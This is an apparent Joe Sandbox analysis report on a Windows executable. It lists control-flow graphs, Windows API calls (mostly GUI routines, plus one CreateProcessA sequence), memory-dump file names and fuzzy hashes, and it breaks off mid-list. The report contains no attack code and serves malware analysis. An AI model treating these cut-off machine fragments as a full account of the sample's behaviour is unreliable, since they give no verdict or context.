41e550-41e551 1143->1145 1146 41e576-41e59c GetSystemMetrics * 2 1143->1146 1147 41e5b1-41e5b7 1144->1147 1148 41e5cb-41e5d5 1144->1148 1152 41e553-41e554 1145->1152 1153 41e56c-41e574 1145->1153 1146->1144 1149 41e5b9-41e5c9 1147->1149 1150 41e5df-41e5ee 1147->1150 1151 41e5db 1148->1151 1149->1151 1154 41e5f0-41e5f7 1150->1154 1155 41e5f9-41e5fb 1150->1155 1151->1150 1152->1144 1156 41e556-41e55f 1152->1156 1153->1144 1154->1155 1157 41e611-41e622 1154->1157 1155->1157 1158 41e5fd-41e605 1155->1158 1156->1144 1159 41e561-41e56a 1156->1159 1161 41e624 1157->1161 1162 41e628-41e663 call 41e790 call 493cb4 1157->1162 1158->1157 1160 41e607-41e60d 1158->1160 1159->1144 1160->1157 1161->1162 1167 41e665-41e66b 1162->1167 1168 41e67b-41e69d call 41e830 GetWindowRect 1162->1168 1169 41e674-41e676 1167->1169 1170 41e66d-41e66e DestroyMenu 1167->1170 1173 41e6b1-41e6bd call 49609f 1168->1173 1174 41e69f-41e6af 1168->1174 1169->1116 1170->1169 1175 41e6c2-41e6c3 call 41e2c0 1173->1175 1174->1173 1174->1175 1178 41e6c8-41e6d3 1175->1178 1179 41e6d5-41e6d7 call 41fe40 1178->1179 1180 41e6dc-41e6ec GetStockObject call 4989ae 1178->1180 1179->1180 1184 41e6f1-41e707 SendMessageA 1180->1184 1185 41e6ee 1180->1185 1186 41e709-41e719 SetWindowPos 1184->1186 1187 41e71f-41e724 1184->1187 1185->1184 1186->1187 1188 41e726-41e73a GetSystemMenu call 4970e4 1187->1188 1189 41e74d-41e756 call 41e200 1187->1189 1188->1189 1194 41e73c-41e747 DeleteMenu 1188->1194 1189->1116 1194->1189
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 4e3ea7c03aaa24816a250f33dfdf08de65309c01f602f718ba55de8ad742ad91
          • Instruction ID: 2ab09d7f1e5ce43a55acd6e5afa8fc0c5933f71c850432e7250c281f4ec90afc
          • Opcode Fuzzy Hash: 4e3ea7c03aaa24816a250f33dfdf08de65309c01f602f718ba55de8ad742ad91
          • Instruction Fuzzy Hash: 47B1A674604700AFD724CF66C884B5BBBE6BBC4304F50892EF99287390D778E881CB5A

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 1464 4080f0-408118 1465 408121-408127 1464->1465 1466 40811a-40811f 1464->1466 1468 408136 1465->1468 1469 408129-40812b 1465->1469 1467 40813b-408147 1466->1467 1472 408152-408155 1467->1472 1473 408149-408150 1467->1473 1468->1467 1470 408131-408134 1469->1470 1471 40812d-40812f 1469->1471 1470->1467 1470->1468 1471->1467 1475 408157-40815c 1472->1475 1476 40815e-408161 1472->1476 1474 40818c-4081af CreateProcessA 1473->1474 1479 4081b1-4081b6 1474->1479 1480 4081f7-408206 1474->1480 1475->1474 1477 408163-40816a 1476->1477 1478 40816c-40816f 1476->1478 1477->1474 1481 408171-408178 1478->1481 1482 40817a-408187 1478->1482 1483 4081c7-4081d1 WaitForInputIdle 1479->1483 1484 4081b8-4081c5 WaitForSingleObject 1479->1484 1481->1474 1482->1474 1485 4081d7-4081f6 CloseHandle * 2 1483->1485 1484->1485
          APIs
          • CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 004081A7
          • WaitForSingleObject.KERNEL32(?,000000FF), ref: 004081BF
          • WaitForInputIdle.USER32(?,000003E8), ref: 004081D1
          • CloseHandle.KERNEL32(?), ref: 004081E2
          • CloseHandle.KERNEL32(?), ref: 004081E9
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CloseHandleWait$CreateIdleInputObjectProcessSingle
          • String ID: D
          • API String ID: 2811420030-2746444292
          • Opcode ID: 4e6d83268c29022d597c4d51c7c17fdc6fb2d83fd6270ca38f2214db7358e317
          • Instruction ID: f4d271d3757b4a595fe06e13ef1ee891a8e7c65abbb0ca6c3ffb93d8893a6838
          • Opcode Fuzzy Hash: 4e6d83268c29022d597c4d51c7c17fdc6fb2d83fd6270ca38f2214db7358e317
          • Instruction Fuzzy Hash: 2E316F756083009BD720CB18CD81A5B77E5EF95750F24492EE9C2EB3E0DA78D846875B
          APIs
          • KiUserCallbackDispatcher.NTDLL(0000000B), ref: 00497D0B
          • GetSystemMetrics.USER32(0000000C), ref: 00497D12
          • RtlAllocateHeap.NTDLL(00000000), ref: 00497D2B
          • GetDeviceCaps.GDI32(00000000,00000058), ref: 00497D3C
          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00497D44
          • ReleaseDC.USER32(00000000,00000000), ref: 00497D4C
            • Part of subcall function 0049C389: GetSystemMetrics.USER32(00000002), ref: 0049C39B
            • Part of subcall function 0049C389: GetSystemMetrics.USER32(00000003), ref: 0049C3A5
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MetricsSystem$CapsDevice$AllocateCallbackDispatcherHeapReleaseUser
          • String ID:
          • API String ID: 1911780990-0
          • Opcode ID: 39e18829d544c561b1634084ab5ebf4a256867ecdaeaea694be4ee13d8405e48
          • Instruction ID: 257000c38438baefc9f917d8edea1aa10dd78e291a678449288b7f20612e75ff
          • Opcode Fuzzy Hash: 39e18829d544c561b1634084ab5ebf4a256867ecdaeaea694be4ee13d8405e48
          • Instruction Fuzzy Hash: 50F09030640704AEE7206B728C89B277FA4DF85761F00453AE601872A0CA7498418FA5
          APIs
          • GetSysColor.USER32(0000000F), ref: 004104FC
          • DestroyIcon.USER32(?,?,?,?,0000008C,00000000), ref: 0041055A
          • SendMessageA.USER32(?,000000F7,00000001,?), ref: 004105FC
          • SendMessageA.USER32(?,000000F7,00000000,?), ref: 0041062E
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSend$ColorDestroyIcon
          • String ID: BUTTON
          • API String ID: 1480523805-3405671355
          • Opcode ID: 86f244a3f3dcc7a2dd9269f8341c9680a1269af41e0f0b62343bd307a272228d
          • Instruction ID: ea9e2494ef2023e8f32cfa24b5e0a65dabf85430aa765f614ed6342c3bf82af5
          • Opcode Fuzzy Hash: 86f244a3f3dcc7a2dd9269f8341c9680a1269af41e0f0b62343bd307a272228d
          • Instruction Fuzzy Hash: 886191B5604704AFD724DF15C880BABB7A5FB85710F508A2EF58683390CB79E8C4CB5A
          APIs
          • GetTextExtentPoint32A.GDI32(?,004BBC94,?,?), ref: 0040B811
          • GetSystemMetrics.USER32(0000002E), ref: 0040B825
          • GetWindowRect.USER32(?,?), ref: 0040B845
          • GetStockObject.GDI32(00000011), ref: 0040B892
          • SendMessageA.USER32(?,00000030,00000000,00000001), ref: 0040B8A1
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ExtentMessageMetricsObjectPoint32RectSendStockSystemTextWindow
          • String ID:
          • API String ID: 3316701254-0
          • Opcode ID: 23f6ec5a6a7ed19fdb9ffff266fa426f7419396023be159b3d51df88a29eebd0
          • Instruction ID: f28453cb8165dc9f6cf9caeb7c3a2a30501619be52ed3afe5d577e7b2373f7fc
          • Opcode Fuzzy Hash: 23f6ec5a6a7ed19fdb9ffff266fa426f7419396023be159b3d51df88a29eebd0
          • Instruction Fuzzy Hash: C0418176204300AFD724DF65CD85F6B77A8EB84714F00493EF652A72C0DB78E8058B59
          APIs
            • Part of subcall function 004987CF: __EH_prolog.LIBCMT ref: 004987D4
            • Part of subcall function 004987CF: GetWindowDC.USER32(?,?,?,0040CBE1), ref: 004987FD
          • GetClientRect.USER32 ref: 0040CBF2
          • GetWindowRect.USER32(?,?), ref: 0040CC01
            • Part of subcall function 00498589: ScreenToClient.USER32(?,76087310), ref: 0049859D
            • Part of subcall function 00498589: ScreenToClient.USER32(?,76087318), ref: 004985A6
          • OffsetRect.USER32(?,?,?), ref: 0040CC2C
            • Part of subcall function 004984C6: ExcludeClipRect.GDI32(?,?,?,?,?,7608A5C0,?,?,0040CC3C,?), ref: 004984EB
            • Part of subcall function 004984C6: ExcludeClipRect.GDI32(?,?,?,?,?,7608A5C0,?,?,0040CC3C,?), ref: 00498500
          • OffsetRect.USER32(?,?,?), ref: 0040CC4F
          • FillRect.USER32(?,?,?), ref: 0040CC6A
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Rect$Client$ClipExcludeOffsetScreenWindow$FillH_prolog
          • String ID:
          • API String ID: 2829754061-0
          • Opcode ID: 8fed3c290c06e2bc71516f75a74078f25c2e39632957b04549611fb079fae124
          • Instruction ID: 887f6db773c663d0c0cb007133ee30b77a9b316a8d55b520d9b20919d509f529
          • Opcode Fuzzy Hash: 8fed3c290c06e2bc71516f75a74078f25c2e39632957b04549611fb079fae124
          • Instruction Fuzzy Hash: 43318475208302AFD714DF58C845EABBBE9EB89714F008A1DF49687390DB34E905CB56
          APIs
          • SendMessageA.USER32(?,00000080,00000001,?), ref: 0041E368
          • SendMessageA.USER32(?,00000080,00000000,?), ref: 0041E37A
          • DestroyIcon.USER32(?), ref: 0041E38D
          • DestroyIcon.USER32(?), ref: 0041E39A
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: DestroyIconMessageSend
          • String ID:
          • API String ID: 1880505497-0
          • Opcode ID: 1a7615ca0093ea44de47ca627e270b26bd9bd860bfccb59c279f0d4bec922588
          • Instruction ID: 60fe53984925e5a1c21c83b92f78745c10398adbe95378efd05465a2cd99dca5
          • Opcode Fuzzy Hash: 1a7615ca0093ea44de47ca627e270b26bd9bd860bfccb59c279f0d4bec922588
          • Instruction Fuzzy Hash: A5311E756043056FE720DF66D880BABB7E8EFC4710F14882EFDA987340D674E8498B66
          APIs
          • SendMessageA.USER32(?,00000401,00000000,?), ref: 004113CA
          • SendMessageA.USER32(?,00000402,?,00000000), ref: 004113F7
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSend
          • String ID: msctls_progress32
          • API String ID: 3850602802-3107856198
          • Opcode ID: e0a1efc875593a07d6f0085c40e6370f7ecca35a38f9816252511e0d69e7f99f
          • Instruction ID: 506c9ea9994b5825d8552fe634d083f4f6bc0e016f06e1fcb3eafdfbb4a0268b
          • Opcode Fuzzy Hash: e0a1efc875593a07d6f0085c40e6370f7ecca35a38f9816252511e0d69e7f99f
          • Instruction Fuzzy Hash: F9416D71704B009BE328CB19CC81F6BB7E6ABC8704F148A2EFA56D7790D679EC418755
          APIs
          • GetStockObject.GDI32(00000005), ref: 00412FD0
          • LoadCursorA.USER32(00000000,00007F00), ref: 00412FDE
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CursorLoadObjectStock
          • String ID: _EL_Timer
          • API String ID: 3794545487-970978732
          • Opcode ID: a2d98567a51097ff8e6ad25af64fb65f1112217b4e5b02df3c6e783f58e34d68
          • Instruction ID: c50af10d5538d70090f88f4c383b368708dae5dc4d6a9f7d9fa346b9dc32af80
          • Opcode Fuzzy Hash: a2d98567a51097ff8e6ad25af64fb65f1112217b4e5b02df3c6e783f58e34d68
          • Instruction Fuzzy Hash: A2316BB1648750AFD314DB54CD41B6BB7E4EB88B04F104A2EFA49C7380D679E804CB56
          APIs
          • GetStockObject.GDI32(00000005), ref: 0040E111
          • LoadCursorA.USER32(00000000,00007F00), ref: 0040E11F
            • Part of subcall function 004244C0: GetClassInfoA.USER32(?,?,00000000), ref: 004244D8
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ClassCursorInfoLoadObjectStock
          • String ID: _EL_Label
          • API String ID: 1762135420-1571322718
          • Opcode ID: 5b7d037874467b98a6f74159185684098293c905ab1be7f3ed2d5a82eb617e5c
          • Instruction ID: 6b5c0b9f3f93932cbd013e97fcbfef486270a6a19b349cf6cead2184325c53e5
          • Opcode Fuzzy Hash: 5b7d037874467b98a6f74159185684098293c905ab1be7f3ed2d5a82eb617e5c
          • Instruction Fuzzy Hash: 95316DB1608710ABE314DB59CC41F2BBBE4EB88B04F104A2EF65A973D0D775A801CB96
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 3f00921c7d977a744da317e48b745ba37cf09dd6c3b5bc4125b27ed0a04dc1cf
          • Instruction ID: e12ad68517235970f372819fc4810e1a6925d58f8e2a9efc9850197595eff357
          • Opcode Fuzzy Hash: 3f00921c7d977a744da317e48b745ba37cf09dd6c3b5bc4125b27ed0a04dc1cf
          • Instruction Fuzzy Hash: DB51B4727055026FE7248B2CED916AAA392FBC1708F64453FE702C73A1D769EC818759
          APIs
          • PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 0041A479
          • IsWindow.USER32 ref: 0041A4A7
          • PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 0041A576
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
